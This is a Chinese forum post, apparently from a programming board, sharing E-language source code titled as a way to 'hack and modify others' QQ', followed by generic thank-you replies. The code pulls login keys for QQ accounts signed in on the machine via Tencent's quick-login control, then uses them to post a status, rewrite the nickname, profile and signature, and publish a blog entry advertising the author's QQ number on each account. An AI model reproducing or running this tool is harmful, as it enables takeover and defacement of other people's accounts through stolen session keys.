黑客修改他人QQ
.版本 2.支持库 spec
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
.局部变量 cookies, 文本型
.局部变量 QQ, UinKey, , "0"
.局部变量 i, 整数型
.局部变量 GTK, 文本型
.局部变量 URL, 文本型
.局部变量 POST, 文本型
调试输出 (“精易论坛 默默`开源。”)
.计次循环首 (取KEY (QQ), i)
' 登录
URL ＝ “http://ptlogin2.qq.com/jump?clientuin=” ＋ QQ .uin ＋ “&clientkey=” ＋ QQ .key ＋ “&keyindex=9&pt_aid=549000912&u1=http%3A%2F%2Fqzs.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone”
网页访问 (URL, , , , cookies, , , 真, )
延时_不卡死 (100)
网页访问 (“http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone”, , , cookies)
GTK ＝ g_tk算法 (取指定Cookie值 (cookies, “skey”, 真)).取文本 ()
' 说说同步签名，微博
延时_不卡死 (100)
POST ＝ “qzreferrer=http%3A%2F%2Fuser.qzone.qq.com%2F” ＋ QQ .uin ＋ “%23home&syn_tweet_verson=1&richtype=&richval=&special_url=&subrichtype=&who=1&con=qm” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&feedversion=1&ver=1&ugc_right=1&to_tweet=1&to_sign=1&hostuin=” ＋ QQ .uin ＋ “&code_version=1&format=fs”
网页访问u (“http://taotao.qq.com/cgi-bin/emotion_cgi_publish_v6?g_tk=” ＋ GTK, 1, POST, cookies)
延时_不卡死 (100)
' 网名
POST ＝ “qzreferrer=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fv6%2Fsetting%2Fprofile%2Fprofile.html%3Ftab%3Dbase&nickname=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&emoji=&sex=1&birthday=1988-11-01&province=43&city=10&country=1&marriage=0&bloodtype=5&hp=0&hc=0&hco=0&career=&company=&cp=0&cc=0&cb=&cco=0&lover=&islunar=0&mb=65&uin=” ＋ QQ .uin ＋ “&pageindex=1&fupdate=1”
网页访问 (“http://w.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=” ＋ GTK, 1, POST, cookies)
' QQ空间资料
延时_不卡死 (100)
POST ＝ “qzreferrer=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fv6%2Fsetting%2Fprofile%2Fprofile.html%3Ftab%3Dspace&spacename=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&desc=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&signature=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 真) ＋ “&mb=14336&uin=” ＋ QQ .uin ＋ “&pageindex=3&fupdate=1”
网页访问 (“http://w.cnc.qzone.qq.com/cgi-bin/user/cgi_apply_updateuserinfo_new?g_tk=” ＋ GTK, 1, POST, cookies)
' 日志
POST ＝ “qzreferrer=http%3A%2F%2Fcnc.qzs.qq.com%2Fqzone%2Fnewblog%2Fv5%2Feditor.html%23opener%3Drefererurl%26source%3D1%26refererurl%3Dhttp%253A%252F%252Fcnc.qzs.qq.com%252Fqzone%252Fapp%252Fblog%252Fv6%252Fbloglist.html%2523nojump%253D1%2526page%253D1%2526catalog%253Dlist&cate=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 假) ＋ “&title=” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 假) ＋ “&html=%3Cdiv+class%3D%22blog_details_20120222%22%3E%3CDIV%3E” ＋ 编码_URL编码 (“感谢小博技术Q2389726464”, 真, 假) ＋ “%3C%2FDIV%3E%3C%2Fdiv%3E&source=1&blogType=0&lp_type=0&lp_flag=0&lp_id=79208&lp_style=16843520&autograph=1&topFlag=0&feeds=1&tweetFlag=0&rightType=1&uin=” ＋ QQ .uin ＋ “&hostUin=” ＋ QQ .uin ＋ “&iNotice=1&inCharset=gbk&outCharset=gbk&format=fs&ref=qzone&json=1&g_tk=” ＋ GTK ＋ “&secverifykey=28Q12062209183668_2209183668”
网页访问s (“http://b11.cnc.qzone.qq.com/cgi-bin/blognew/add_blog?g_tk=” ＋ GTK, 1, POST, cookies)
延时_不卡死 (1000)
cookies ＝ “”
.计次循环尾 ()
.子程序 g_tk算法, 变体型
.参数 skey, 文本型
.局部变量 script, 对象
.局部变量 result, 变体型
script.创建 (“scriptcontrol”, )
script.写属性 (“Language”, “JScript”)
script.数值方法 (“AddCode”, #g_tk)
result ＝ script.通用方法 (“Eval”, “getACSRFToken(” ＋ #引号 ＋ skey ＋ #引号 ＋ “)”)' 此处的表达式如果比较复杂建议使用常量
返回 (result)' 返回变体类型 如果是文本可以取文本，如果是数值可以取数值
.子程序 取KEY, 整数型, 公开, SnowSnow;
.参数 size, UinKey, 参考 可空 数组
.局部变量 hWnd, 整数型
.局部变量 This, 对象
.局部变量 mber, 整数型
.局部变量 InnerText, 文本型, , "0"
.局部变量 dwText, 文本型, , "0"
.局部变量 dwSize, UinKey
.局部变量 i, 整数型
清除数组 (size)
.如果真 (This.创建 (“SSOAxCtrlForPTLogin.SSOForPTLogin2”, ) ＝ 假)
标签1.标题 ＝ “请先安装腾讯网页快速登录控件。”
返回 (0)
.如果真结束
This.清除 ()
API_AtlAxWinInit ()
hWnd ＝ API_CreateWindowEx (0, “AtlAxWin”, “http://xui.ptlogin2.qq.com/cgi-bin/qlogin”, 0, 0, 0, 0, 0, 0, 0, 0, 0)
.如果真 (hWnd ＞ 0)
API_AtlAxGetControl (hWnd, This)
This.写属性 (“Silent”, 真)' 静默
.循环判断首 ()
mber ＝ This.读数值属性 (“ReadyState”, )
.判断开始 (mber ＝ 0)
This.清除 ()
返回 (0)
.判断 (mber ＝ 4)
跳出循环 ()
.默认
.判断结束
处理事件 ()
.循环判断尾 (真)
This.对象型方法 (“Document”, ).读对象型属性 (“parentWindow”, ).逻辑方法 (“execScript”, #常量1, “JavaScript”)
InnerText ＝ 分割文本 (This.对象型方法 (“Document”, ).对象型方法 (“body”, ).读文本属性 (“innerText”, ), “;”, )
.计次循环首 (取数组成员数 (InnerText), i)
dwText ＝ 分割文本 (InnerText , “|”, )
.如果真 (取数组成员数 (dwText) ≥ 3)
' 调试输出 (dwText )
dwSize.uin ＝ dwText
dwSize.name ＝ dwText
dwSize.key ＝ dwText
加入成员 (size, dwSize)
.如果真结束
.计次循环尾 ()
This.清除 ()
API_SendMessage (hWnd, 16, 0, 0)' 最后销毁窗口
.如果真结束
.如果真 (取数组成员数 (size) ＝ 0)
标签1.标题 ＝ “你还没有登录QQ额”
.如果真结束
返回 (取数组成员数 (size))
销毁 ()
回帖纯属支持楼主，希望楼主多奉献好的作品。 任何业绩的质变都来自于量变的积累。 打酱油的啦，飘过赚点海币而已。 我要拿出这帖子奉献给世人赏阅，我要把这个帖子一直往上顶，往上顶!顶到所有人都看到为止! 回帖纯属支持楼主，希望楼主多奉献好的作品。 震撼啊!今天让我看到这样的好帖子! 好东西。拿走了，感谢楼主分享 楼主事事顺心，家庭和睦！ 好厉害的样子
页:
[1]
2